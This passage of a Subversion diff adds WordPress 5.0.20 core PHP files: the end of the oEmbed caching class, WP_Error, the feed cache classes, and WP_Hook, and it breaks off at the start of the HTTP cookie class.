+		 * Filters the oEmbed TTL value (time to live).
+		 *
+		 * @since 4.0.0
+		 *
+		 * @param int    $time    Time to live (in seconds).
+		 * @param string $url     The attempted embed URL.
+		 * @param array  $attr    An array of shortcode attributes.
+		 * @param int    $post_ID Post ID.
+		 */
+		$ttl = apply_filters( 'oembed_ttl', DAY_IN_SECONDS, $url, $attr, $post_ID );
+
+		$cache      = '';
+		$cache_time = 0;
+
+		$cached_post_id = $this->find_oembed_post_id( $key_suffix );
+
+		if ( $post_ID ) {
+			$cache = get_post_meta( $post_ID, $cachekey, true );
+			$cache_time = get_post_meta( $post_ID, $cachekey_time, true );
+
+			if ( ! $cache_time ) {
+				$cache_time = 0;
+			}
+		} elseif ( $cached_post_id ) {
+			$cached_post = get_post( $cached_post_id );
+
+			$cache      = $cached_post->post_content;
+			$cache_time = strtotime( $cached_post->post_modified_gmt );
+		}
+
+		$cached_recently = ( time() - $cache_time ) < $ttl;
+
+		if ( $this->usecache || $cached_recently ) {
+			// Failures are cached. Serve one if we're using the cache.
+			if ( '{{unknown}}' === $cache ) {
+				return $this->maybe_make_link( $url );
+			}
+
+			if ( ! empty( $cache ) ) {
+				/**
+				 * Filters the cached oEmbed HTML.
+				 *
+				 * @since 2.9.0
+				 *
+				 * @see WP_Embed::shortcode()
+				 *
+				 * @param mixed  $cache   The cached HTML result, stored in post meta.
+				 * @param string $url     The attempted embed URL.
+				 * @param array  $attr    An array of shortcode attributes.
+				 * @param int    $post_ID Post ID.
+				 */
+				return apply_filters( 'embed_oembed_html', $cache, $url, $attr, $post_ID );
+			}
+		}
+
+		/**
+		 * Filters whether to inspect the given URL for discoverable link tags.
+		 *
+		 * @since 2.9.0
+		 * @since 4.4.0 The default value changed to true.
+		 *
+		 * @see WP_oEmbed::discover()
+		 *
+		 * @param bool $enable Whether to enable `<link>` tag discovery. Default true.
+		 */
+		$attr['discover'] = apply_filters( 'embed_oembed_discover', true );
+
+		// Use oEmbed to get the HTML.
+		$html = wp_oembed_get( $url, $attr );
+
+		if ( $post_ID ) {
+			if ( $html ) {
+				update_post_meta( $post_ID, $cachekey, $html );
+				update_post_meta( $post_ID, $cachekey_time, time() );
+			} elseif ( ! $cache ) {
+				update_post_meta( $post_ID, $cachekey, '{{unknown}}' );
+			}
+		} else {
+			$has_kses = false !== has_filter( 'content_save_pre', 'wp_filter_post_kses' );
+
+			if ( $has_kses ) {
+				// Prevent KSES from corrupting JSON in post_content.
+				kses_remove_filters();
+			}
+
+			$insert_post_args = array(
+				'post_name' => $key_suffix,
+				'post_status' => 'publish',
+				'post_type' => 'oembed_cache',
+			);
+
+			if ( $html ) {
+				if ( $cached_post_id ) {
+					wp_update_post( wp_slash( array(
+						'ID' => $cached_post_id,
+						'post_content' => $html,
+					) ) );
+				} else {
+					wp_insert_post( wp_slash( array_merge(
+						$insert_post_args,
+						array(
+							'post_content' => $html,
+						)
+					) ) );
+				}
+			} elseif ( ! $cache ) {
+				wp_insert_post( wp_slash( array_merge(
+					$insert_post_args,
+					array(
+						'post_content' => '{{unknown}}',
+					)
+				) ) );
+			}
+
+			if ( $has_kses ) {
+				kses_init_filters();
+			}
+		}
+
+		// If there was a result, return it.
+		if ( $html ) {
+			/** This filter is documented in wp-includes/class-wp-embed.php */
+			return apply_filters( 'embed_oembed_html', $html, $url, $attr, $post_ID );
+		}
+
+		// Still unknown
+		return $this->maybe_make_link( $url );
+	}
+
+	/**
+	 * Delete all oEmbed caches. Unused by core as of 4.0.0.
+	 *
+	 * @param int $post_ID Post ID to delete the caches for.
+	 */
+	public function delete_oembed_caches( $post_ID ) {
+		$post_metas = get_post_custom_keys( $post_ID );
+		if ( empty($post_metas) )
+			return;
+
+		foreach ( $post_metas as $post_meta_key ) {
+			if ( '_oembed_' == substr( $post_meta_key, 0, 8 ) )
+				delete_post_meta( $post_ID, $post_meta_key );
+		}
+	}
+
+	/**
+	 * Triggers a caching of all oEmbed results.
+	 *
+	 * @param int $post_ID Post ID to do the caching for.
+	 */
+	public function cache_oembed( $post_ID ) {
+		$post = get_post( $post_ID );
+
+		$post_types = get_post_types( array( 'show_ui' => true ) );
+		/**
+		 * Filters the array of post types to cache oEmbed results for.
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param array $post_types Array of post types to cache oEmbed results for. Defaults to post types with `show_ui` set to true.
+		 */
+		if ( empty( $post->ID ) || ! in_array( $post->post_type, apply_filters( 'embed_cache_oembed_types', $post_types ) ) ){
+			return;
+		}
+
+		// Trigger a caching
+		if ( ! empty( $post->post_content ) ) {
+			$this->post_ID = $post->ID;
+			$this->usecache = false;
+
+			$content = $this->run_shortcode( $post->post_content );
+			$this->autoembed( $content );
+
+			$this->usecache = true;
+		}
+	}
+
+	/**
+	 * Passes any unlinked URLs that are on their own line to WP_Embed::shortcode() for potential embedding.
+	 *
+	 * @see WP_Embed::autoembed_callback()
+	 *
+	 * @param string $content The content to be searched.
+	 * @return string Potentially modified $content.
+	 */
+	public function autoembed( $content ) {
+		// Replace line breaks from all HTML elements with placeholders.
+		$content = wp_replace_in_html_tags( $content, array( "\n" => '<!-- wp-line-break -->' ) );
+
+		if ( preg_match( '#(^|\s|>)https?://#i', $content ) ) {
+			// Find URLs on their own line.
+			$content = preg_replace_callback( '|^(\s*)(https?://[^\s<>"]+)(\s*)$|im', array( $this, 'autoembed_callback' ), $content );
+			// Find URLs in their own paragraph.
+			$content = preg_replace_callback( '|(<p(?: [^>]*)?>\s*)(https?://[^\s<>"]+)(\s*<\/p>)|i', array( $this, 'autoembed_callback' ), $content );
+		}
+
+		// Put the line breaks back.
+		return str_replace( '<!-- wp-line-break -->', "\n", $content );
+	}
+
+	/**
+	 * Callback function for WP_Embed::autoembed().
+	 *
+	 * @param array $match A regex match array.
+	 * @return string The embed HTML on success, otherwise the original URL.
+	 */
+	public function autoembed_callback( $match ) {
+		$oldval = $this->linkifunknown;
+		$this->linkifunknown = false;
+		$return = $this->shortcode( array(), $match[2] );
+		$this->linkifunknown = $oldval;
+
+		return $match[1] . $return . $match[3];
+	}
+
+	/**
+	 * Conditionally makes a hyperlink based on an internal class variable.
+	 *
+	 * @param string $url URL to potentially be linked.
+	 * @return false|string Linked URL or the original URL. False if 'return_false_on_fail' is true.
+	 */
+	public function maybe_make_link( $url ) {
+		if ( $this->return_false_on_fail ) {
+			return false;
+		}
+
+		$output = ( $this->linkifunknown ) ? '<a href="' . esc_url($url) . '">' . esc_html($url) . '</a>' : $url;
+
+		/**
+		 * Filters the returned, maybe-linked embed URL.
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param string $output The linked or original URL.
+		 * @param string $url    The original URL.
+		 */
+		return apply_filters( 'embed_maybe_make_link', $output, $url );
+	}
+
+	/**
+	 * Find the oEmbed cache post ID for a given cache key.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param string $cache_key oEmbed cache key.
+	 * @return int|null Post ID on success, null on failure.
+	 */
+	public function find_oembed_post_id( $cache_key ) {
+		$cache_group    = 'oembed_cache_post';
+		$oembed_post_id = wp_cache_get( $cache_key, $cache_group );
+
+		if ( $oembed_post_id && 'oembed_cache' === get_post_type( $oembed_post_id ) ) {
+			return $oembed_post_id;
+		}
+
+		$oembed_post_query = new WP_Query( array(
+			'post_type'              => 'oembed_cache',
+			'post_status'            => 'publish',
+			'name'                   => $cache_key,
+			'posts_per_page'         => 1,
+			'no_found_rows'          => true,
+			'cache_results'          => true,
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'lazy_load_term_meta'    => false,
+		) );
+
+		if ( ! empty( $oembed_post_query->posts ) ) {
+			// Note: 'fields'=>'ids' is not being used in order to cache the post object as it will be needed.
+			$oembed_post_id = $oembed_post_query->posts[0]->ID;
+			wp_cache_set( $cache_key, $oembed_post_id, $cache_group );
+
+			return $oembed_post_id;
+		}
+
+		return null;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-error.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-error.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-error.php	(revision 56912)
@@ -0,0 +1,200 @@
+<?php
+/**
+ * WordPress Error API.
+ *
+ * Contains the WP_Error class and the is_wp_error() function.
+ *
+ * @package WordPress
+ */
+
+/**
+ * WordPress Error class.
+ *
+ * Container for checking for WordPress errors and error messages. Return
+ * WP_Error and use is_wp_error() to check if this class is returned. Many
+ * core WordPress functions pass this class in the event of an error and
+ * if not handled properly will result in code errors.
+ *
+ * @since 2.1.0
+ */
+class WP_Error {
+	/**
+	 * Stores the list of errors.
+	 *
+	 * @since 2.1.0
+	 * @var array
+	 */
+	public $errors = array();
+
+	/**
+	 * Stores the list of data for error codes.
+	 *
+	 * @since 2.1.0
+	 * @var array
+	 */
+	public $error_data = array();
+
+	/**
+	 * Initialize the error.
+	 *
+	 * If `$code` is empty, the other parameters will be ignored.
+	 * When `$code` is not empty, `$message` will be used even if
+	 * it is empty. The `$data` parameter will be used only if it
+	 * is not empty.
+	 *
+	 * Though the class is constructed with a single error code and
+	 * message, multiple codes can be added using the `add()` method.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string|int $code Error code
+	 * @param string $message Error message
+	 * @param mixed $data Optional. Error data.
+	 */
+	public function __construct( $code = '', $message = '', $data = '' ) {
+		if ( empty($code) )
+			return;
+
+		$this->errors[$code][] = $message;
+
+		if ( ! empty($data) )
+			$this->error_data[$code] = $data;
+	}
+
+	/**
+	 * Retrieve all error codes.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @return array List of error codes, if available.
+	 */
+	public function get_error_codes() {
+		if ( empty($this->errors) )
+			return array();
+
+		return array_keys($this->errors);
+	}
+
+	/**
+	 * Retrieve first error code available.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @return string|int Empty string, if no error codes.
+	 */
+	public function get_error_code() {
+		$codes = $this->get_error_codes();
+
+		if ( empty($codes) )
+			return '';
+
+		return $codes[0];
+	}
+
+	/**
+	 * Retrieve all error messages or error messages matching code.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string|int $code Optional. Retrieve messages matching code, if exists.
+	 * @return array Error strings on success, or empty array on failure (if using code parameter).
+	 */
+	public function get_error_messages($code = '') {
+		// Return all messages if no code specified.
+		if ( empty($code) ) {
+			$all_messages = array();
+			foreach ( (array) $this->errors as $code => $messages )
+				$all_messages = array_merge($all_messages, $messages);
+
+			return $all_messages;
+		}
+
+		if ( isset($this->errors[$code]) )
+			return $this->errors[$code];
+		else
+			return array();
+	}
+
+	/**
+	 * Get single error message.
+	 *
+	 * This will get the first message available for the code. If no code is
+	 * given then the first code available will be used.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string|int $code Optional. Error code to retrieve message.
+	 * @return string
+	 */
+	public function get_error_message($code = '') {
+		if ( empty($code) )
+			$code = $this->get_error_code();
+		$messages = $this->get_error_messages($code);
+		if ( empty($messages) )
+			return '';
+		return $messages[0];
+	}
+
+	/**
+	 * Retrieve error data for error code.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string|int $code Optional. Error code.
+	 * @return mixed Error data, if it exists.
+	 */
+	public function get_error_data($code = '') {
+		if ( empty($code) )
+			$code = $this->get_error_code();
+
+		if ( isset($this->error_data[$code]) )
+			return $this->error_data[$code];
+	}
+
+	/**
+	 * Add an error or append additional message to an existing error.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string|int $code Error code.
+	 * @param string $message Error message.
+	 * @param mixed $data Optional. Error data.
+	 */
+	public function add($code, $message, $data = '') {
+		$this->errors[$code][] = $message;
+		if ( ! empty($data) )
+			$this->error_data[$code] = $data;
+	}
+
+	/**
+	 * Add data for error code.
+	 *
+	 * The error code can only contain one error data.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param mixed $data Error data.
+	 * @param string|int $code Error code.
+	 */
+	public function add_data($data, $code = '') {
+		if ( empty($code) )
+			$code = $this->get_error_code();
+
+		$this->error_data[$code] = $data;
+	}
+
+	/**
+	 * Removes the specified error.
+	 *
+	 * This function removes all error messages associated with the specified
+	 * error code, along with any error data for that code.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @param string|int $code Error code.
+	 */
+	public function remove( $code ) {
+		unset( $this->errors[ $code ] );
+		unset( $this->error_data[ $code ] );
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-feed-cache-transient.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-feed-cache-transient.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-feed-cache-transient.php	(revision 56912)
@@ -0,0 +1,132 @@
+<?php
+/**
+ * Feed API: WP_Feed_Cache_Transient class
+ *
+ * @package WordPress
+ * @subpackage Feed
+ * @since 4.7.0
+ */
+
+/**
+ * Core class used to implement feed cache transients.
+ *
+ * @since 2.8.0
+ */
+class WP_Feed_Cache_Transient {
+
+	/**
+	 * Holds the transient name.
+	 *
+	 * @since 2.8.0
+	 * @var string
+	 */
+	public $name;
+
+	/**
+	 * Holds the transient mod name.
+	 *
+	 * @since 2.8.0
+	 * @var string
+	 */
+	public $mod_name;
+
+	/**
+	 * Holds the cache duration in seconds.
+	 *
+	 * Defaults to 43200 seconds (12 hours).
+	 *
+	 * @since 2.8.0
+	 * @var int
+	 */
+	public $lifetime = 43200;
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 2.8.0
+	 * @since 3.2.0 Updated to use a PHP5 constructor.
+	 *
+	 * @param string $location  URL location (scheme is used to determine handler).
+	 * @param string $filename  Unique identifier for cache object.
+	 * @param string $extension 'spi' or 'spc'.
+	 */
+	public function __construct($location, $filename, $extension) {
+		$this->name = 'feed_' . $filename;
+		$this->mod_name = 'feed_mod_' . $filename;
+
+		$lifetime = $this->lifetime;
+		/**
+		 * Filters the transient lifetime of the feed cache.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param int    $lifetime Cache duration in seconds. Default is 43200 seconds (12 hours).
+		 * @param string $filename Unique identifier for the cache object.
+		 */
+		$this->lifetime = apply_filters( 'wp_feed_cache_transient_lifetime', $lifetime, $filename);
+	}
+
+	/**
+	 * Sets the transient.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param SimplePie $data Data to save.
+	 * @return true Always true.
+	 */
+	public function save($data) {
+		if ( $data instanceof SimplePie ) {
+			$data = $data->data;
+		}
+
+		set_transient($this->name, $data, $this->lifetime);
+		set_transient($this->mod_name, time(), $this->lifetime);
+		return true;
+	}
+
+	/**
+	 * Gets the transient.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @return mixed Transient value.
+	 */
+	public function load() {
+		return get_transient($this->name);
+	}
+
+	/**
+	 * Gets mod transient.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @return mixed Transient value.
+	 */
+	public function mtime() {
+		return get_transient($this->mod_name);
+	}
+
+	/**
+	 * Sets mod transient.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @return bool False if value was not set and true if value was set.
+	 */
+	public function touch() {
+		return set_transient($this->mod_name, time(), $this->lifetime);
+	}
+
+	/**
+	 * Deletes transients.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @return true Always true.
+	 */
+	public function unlink() {
+		delete_transient($this->name);
+		delete_transient($this->mod_name);
+		return true;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-feed-cache.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-feed-cache.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-feed-cache.php	(revision 56912)
@@ -0,0 +1,32 @@
+<?php
+/**
+ * Feed API: WP_Feed_Cache class
+ *
+ * @package WordPress
+ * @subpackage Feed
+ * @since 4.7.0
+ */
+
+/**
+ * Core class used to implement a feed cache.
+ *
+ * @since 2.8.0
+ *
+ * @see SimplePie_Cache
+ */
+class WP_Feed_Cache extends SimplePie_Cache {
+
+	/**
+	 * Creates a new SimplePie_Cache object.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $location  URL location (scheme is used to determine handler).
+	 * @param string $filename  Unique identifier for cache object.
+	 * @param string $extension 'spi' or 'spc'.
+	 * @return WP_Feed_Cache_Transient Feed cache handler object that uses transients.
+	 */
+	public function create($location, $filename, $extension) {
+		return new WP_Feed_Cache_Transient($location, $filename, $extension);
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-hook.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-hook.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-hook.php	(revision 56912)
@@ -0,0 +1,510 @@
+<?php
+/**
+ * Plugin API: WP_Hook class
+ *
+ * @package WordPress
+ * @subpackage Plugin
+ * @since 4.7.0
+ */
+
+/**
+ * Core class used to implement action and filter hook functionality.
+ *
+ * @since 4.7.0
+ *
+ * @see Iterator
+ * @see ArrayAccess
+ */
+final class WP_Hook implements Iterator, ArrayAccess {
+
+	/**
+	 * Hook callbacks.
+	 *
+	 * @since 4.7.0
+	 * @var array
+	 */
+	public $callbacks = array();
+
+	/**
+	 * The priority keys of actively running iterations of a hook.
+	 *
+	 * @since 4.7.0
+	 * @var array
+	 */
+	private $iterations = array();
+
+	/**
+	 * The current priority of actively running iterations of a hook.
+	 *
+	 * @since 4.7.0
+	 * @var array
+	 */
+	private $current_priority = array();
+
+	/**
+	 * Number of levels this hook can be recursively called.
+	 *
+	 * @since 4.7.0
+	 * @var int
+	 */
+	private $nesting_level = 0;
+
+	/**
+	 * Flag for if we're current doing an action, rather than a filter.
+	 *
+	 * @since 4.7.0
+	 * @var bool
+	 */
+	private $doing_action = false;
+
+	/**
+	 * Hooks a function or method to a specific filter action.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param string   $tag             The name of the filter to hook the $function_to_add callback to.
+	 * @param callable $function_to_add The callback to be run when the filter is applied.
+	 * @param int      $priority        The order in which the functions associated with a
+	 *                                  particular action are executed. Lower numbers correspond with
+	 *                                  earlier execution, and functions with the same priority are executed
+	 *                                  in the order in which they were added to the action.
+	 * @param int      $accepted_args   The number of arguments the function accepts.
+	 */
+	public function add_filter( $tag, $function_to_add, $priority, $accepted_args ) {
+		$idx = _wp_filter_build_unique_id( $tag, $function_to_add, $priority );
+		$priority_existed = isset( $this->callbacks[ $priority ] );
+
+		$this->callbacks[ $priority ][ $idx ] = array(
+			'function' => $function_to_add,
+			'accepted_args' => $accepted_args
+		);
+
+		// if we're adding a new priority to the list, put them back in sorted order
+		if ( ! $priority_existed && count( $this->callbacks ) > 1 ) {
+			ksort( $this->callbacks, SORT_NUMERIC );
+		}
+
+		if ( $this->nesting_level > 0 ) {
+			$this->resort_active_iterations( $priority, $priority_existed );
+		}
+	}
+
+	/**
+	 * Handles reseting callback priority keys mid-iteration.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param bool|int $new_priority     Optional. The priority of the new filter being added. Default false,
+	 *                                   for no priority being added.
+	 * @param bool     $priority_existed Optional. Flag for whether the priority already existed before the new
+	 *                                   filter was added. Default false.
+	 */
+	private function resort_active_iterations( $new_priority = false, $priority_existed = false ) {
+		$new_priorities = array_keys( $this->callbacks );
+
+		// If there are no remaining hooks, clear out all running iterations.
+		if ( ! $new_priorities ) {
+			foreach ( $this->iterations as $index => $iteration ) {
+				$this->iterations[ $index ] = $new_priorities;
+			}
+			return;
+		}
+
+		$min = min( $new_priorities );
+		foreach ( $this->iterations as $index => &$iteration ) {
+			$current = current( $iteration );
+			// If we're already at the end of this iteration, just leave the array pointer where it is.
+			if ( false === $current ) {
+				continue;
+			}
+
+			$iteration = $new_priorities;
+
+			if ( $current < $min ) {
+				array_unshift( $iteration, $current );
+				continue;
+			}
+
+			while ( current( $iteration ) < $current ) {
+				if ( false === next( $iteration ) ) {
+					break;
+				}
+			}
+
+			// If we have a new priority that didn't exist, but ::apply_filters() or ::do_action() thinks it's the current priority...
+			if ( $new_priority === $this->current_priority[ $index ] && ! $priority_existed ) {
+				/*
+				 * ... and the new priority is the same as what $this->iterations thinks is the previous
+				 * priority, we need to move back to it.
+				 */
+
+				if ( false === current( $iteration ) ) {
+					// If we've already moved off the end of the array, go back to the last element.
+					$prev = end( $iteration );
+				} else {
+					// Otherwise, just go back to the previous element.
+					$prev = prev( $iteration );
+				}
+				if ( false === $prev ) {
+					// Start of the array. Reset, and go about our day.
+					reset( $iteration );
+				} elseif ( $new_priority !== $prev ) {
+					// Previous wasn't the same. Move forward again.
+					next( $iteration );
+				}
+			}
+		}
+		unset( $iteration );
+	}
+
+	/**
+	 * Unhooks a function or method from a specific filter action.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param string   $tag                The filter hook to which the function to be removed is hooked. Used
+	 *                                     for building the callback ID when SPL is not available.
+	 * @param callable $function_to_remove The callback to be removed from running when the filter is applied.
+	 * @param int      $priority           The exact priority used when adding the original filter callback.
+	 * @return bool Whether the callback existed before it was removed.
+	 */
+	public function remove_filter( $tag, $function_to_remove, $priority ) {
+		$function_key = _wp_filter_build_unique_id( $tag, $function_to_remove, $priority );
+
+		$exists = isset( $this->callbacks[ $priority ][ $function_key ] );
+		if ( $exists ) {
+			unset( $this->callbacks[ $priority ][ $function_key ] );
+			if ( ! $this->callbacks[ $priority ] ) {
+				unset( $this->callbacks[ $priority ] );
+				if ( $this->nesting_level > 0 ) {
+					$this->resort_active_iterations();
+				}
+			}
+		}
+		return $exists;
+	}
+
+	/**
+	 * Checks if a specific action has been registered for this hook.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param string        $tag               Optional. The name of the filter hook. Used for building
+	 *                                         the callback ID when SPL is not available. Default empty.
+	 * @param callable|bool $function_to_check Optional. The callback to check for. Default false.
+	 * @return bool|int The priority of that hook is returned, or false if the function is not attached.
+	 */
+	public function has_filter( $tag = '', $function_to_check = false ) {
+		if ( false === $function_to_check ) {
+			return $this->has_filters();
+		}
+
+		$function_key = _wp_filter_build_unique_id( $tag, $function_to_check, false );
+		if ( ! $function_key ) {
+			return false;
+		}
+
+		foreach ( $this->callbacks as $priority => $callbacks ) {
+			if ( isset( $callbacks[ $function_key ] ) ) {
+				return $priority;
+			}
+		}
+
+		return false;
+	}
+
+	/**
+	 * Checks if any callbacks have been registered for this hook.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @return bool True if callbacks have been registered for the current hook, otherwise false.
+	 */
+	public function has_filters() {
+		foreach ( $this->callbacks as $callbacks ) {
+			if ( $callbacks ) {
+				return true;
+			}
+		}
+		return false;
+	}
+
+	/**
+	 * Removes all callbacks from the current filter.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param int|bool $priority Optional. The priority number to remove. Default false.
+	 */
+	public function remove_all_filters( $priority = false ) {
+		if ( ! $this->callbacks ) {
+			return;
+		}
+
+		if ( false === $priority ) {
+			$this->callbacks = array();
+		} else if ( isset( $this->callbacks[ $priority ] ) ) {
+			unset( $this->callbacks[ $priority ] );
+		}
+
+		if ( $this->nesting_level > 0 ) {
+			$this->resort_active_iterations();
+		}
+	}
+
+	/**
+	 * Calls the callback functions added to a filter hook.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param mixed $value The value to filter.
+	 * @param array $args  Arguments to pass to callbacks.
+	 * @return mixed The filtered value after all hooked functions are applied to it.
+	 */
+	public function apply_filters( $value, $args ) {
+		if ( ! $this->callbacks ) {
+			return $value;
+		}
+
+		$nesting_level = $this->nesting_level++;
+
+		$this->iterations[ $nesting_level ] = array_keys( $this->callbacks );
+		$num_args = count( $args );
+
+		do {
+			$this->current_priority[ $nesting_level ] = $priority = current( $this->iterations[ $nesting_level ] );
+
+			foreach ( $this->callbacks[ $priority ] as $the_ ) {
+				if( ! $this->doing_action ) {
+					$args[ 0 ] = $value;
+				}
+
+				// Avoid the array_slice if possible.
+				if ( $the_['accepted_args'] == 0 ) {
+					$value = call_user_func_array( $the_['function'], array() );
+				} elseif ( $the_['accepted_args'] >= $num_args ) {
+					$value = call_user_func_array( $the_['function'], $args );
+				} else {
+					$value = call_user_func_array( $the_['function'], array_slice( $args, 0, (int)$the_['accepted_args'] ) );
+				}
+			}
+		} while ( false !== next( $this->iterations[ $nesting_level ] ) );
+
+		unset( $this->iterations[ $nesting_level ] );
+		unset( $this->current_priority[ $nesting_level ] );
+
+		$this->nesting_level--;
+
+		return $value;
+	}
+
+	/**
+	 * Executes the callback functions hooked on a specific action hook.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param mixed $args Arguments to pass to the hook callbacks.
+	 */
+	public function do_action( $args ) {
+		$this->doing_action = true;
+		$this->apply_filters( '', $args );
+
+		// If there are recursive calls to the current action, we haven't finished it until we get to the last one.
+		if ( ! $this->nesting_level ) {
+			$this->doing_action = false;
+		}
+	}
+
+	/**
+	 * Processes the functions hooked into the 'all' hook.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param array $args Arguments to pass to the hook callbacks. Passed by reference.
+	 */
+	public function do_all_hook( &$args ) {
+		$nesting_level = $this->nesting_level++;
+		$this->iterations[ $nesting_level ] = array_keys( $this->callbacks );
+
+		do {
+			$priority = current( $this->iterations[ $nesting_level ] );
+			foreach ( $this->callbacks[ $priority ] as $the_ ) {
+				call_user_func_array( $the_['function'], $args );
+			}
+		} while ( false !== next( $this->iterations[ $nesting_level ] ) );
+
+		unset( $this->iterations[ $nesting_level ] );
+		$this->nesting_level--;
+	}
+
+	/**
+	 * Return the current priority level of the currently running iteration of the hook.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @return int|false If the hook is running, return the current priority level. If it isn't running, return false.
+	 */
+	public function current_priority() {
+		if ( false === current( $this->iterations ) ) {
+			return false;
+		}
+
+		return current( current( $this->iterations ) );
+	}
+
+	/**
+	 * Normalizes filters set up before WordPress has initialized to WP_Hook objects.
+	 *
+	 * @since 4.7.0
+	 * @static
+	 *
+	 * @param array $filters Filters to normalize.
+	 * @return WP_Hook[] Array of normalized filters.
+	 */
+	public static function build_preinitialized_hooks( $filters ) {
+		/** @var WP_Hook[] $normalized */
+		$normalized = array();
+
+		foreach ( $filters as $tag => $callback_groups ) {
+			if ( is_object( $callback_groups ) && $callback_groups instanceof WP_Hook ) {
+				$normalized[ $tag ] = $callback_groups;
+				continue;
+			}
+			$hook = new WP_Hook();
+
+			// Loop through callback groups.
+			foreach ( $callback_groups as $priority => $callbacks ) {
+
+				// Loop through callbacks.
+				foreach ( $callbacks as $cb ) {
+					$hook->add_filter( $tag, $cb['function'], $priority, $cb['accepted_args'] );
+				}
+			}
+			$normalized[ $tag ] = $hook;
+		}
+		return $normalized;
+	}
+
+	/**
+	 * Determines whether an offset value exists.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @link https://secure.php.net/manual/en/arrayaccess.offsetexists.php
+	 *
+	 * @param mixed $offset An offset to check for.
+	 * @return bool True if the offset exists, false otherwise.
+	 */
+	public function offsetExists( $offset ) {
+		return isset( $this->callbacks[ $offset ] );
+	}
+
+	/**
+	 * Retrieves a value at a specified offset.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @link https://secure.php.net/manual/en/arrayaccess.offsetget.php
+	 *
+	 * @param mixed $offset The offset to retrieve.
+	 * @return mixed If set, the value at the specified offset, null otherwise.
+	 */
+	public function offsetGet( $offset ) {
+		return isset( $this->callbacks[ $offset ] ) ? $this->callbacks[ $offset ] : null;
+	}
+
+	/**
+	 * Sets a value at a specified offset.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @link https://secure.php.net/manual/en/arrayaccess.offsetset.php
+	 *
+	 * @param mixed $offset The offset to assign the value to.
+	 * @param mixed $value The value to set.
+	 */
+	public function offsetSet( $offset, $value ) {
+		if ( is_null( $offset ) ) {
+			$this->callbacks[] = $value;
+		} else {
+			$this->callbacks[ $offset ] = $value;
+		}
+	}
+
+	/**
+	 * Unsets a specified offset.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @link https://secure.php.net/manual/en/arrayaccess.offsetunset.php
+	 *
+	 * @param mixed $offset The offset to unset.
+	 */
+	public function offsetUnset( $offset ) {
+		unset( $this->callbacks[ $offset ] );
+	}
+
+	/**
+	 * Returns the current element.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @link https://secure.php.net/manual/en/iterator.current.php
+	 *
+	 * @return array Of callbacks at current priority.
+	 */
+	public function current() {
+		return current( $this->callbacks );
+	}
+
+	/**
+	 * Moves forward to the next element.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @link https://secure.php.net/manual/en/iterator.next.php
+	 *
+	 * @return array Of callbacks at next priority.
+	 */
+	public function next() {
+		return next( $this->callbacks );
+	}
+
+	/**
+	 * Returns the key of the current element.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @link https://secure.php.net/manual/en/iterator.key.php
+	 *
+	 * @return mixed Returns current priority on success, or NULL on failure
+	 */
+	public function key() {
+		return key( $this->callbacks );
+	}
+
+	/**
+	 * Checks if current position is valid.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @link https://secure.php.net/manual/en/iterator.valid.php
+	 *
+	 * @return boolean
+	 */
+	public function valid() {
+		return key( $this->callbacks ) !== null;
+	}
+
+	/**
+	 * Rewinds the Iterator to the first element.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @link https://secure.php.net/manual/en/iterator.rewind.php
+	 */
+	public function rewind() {
+		reset( $this->callbacks );
+	}
+
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-http-cookie.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-http-cookie.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-http-cookie.php	(revision 56912)
@@ -0,0 +1,236 @@
+<?php
+/**
+ * HTTP API: WP_Http_Cookie class
+ *
+ * @package WordPress
+ * @subpackage HTTP
+ * @since 4.4.0
+ */
+
+/**
+ * Core class used to encapsulate a single cookie object for internal use.
+ *
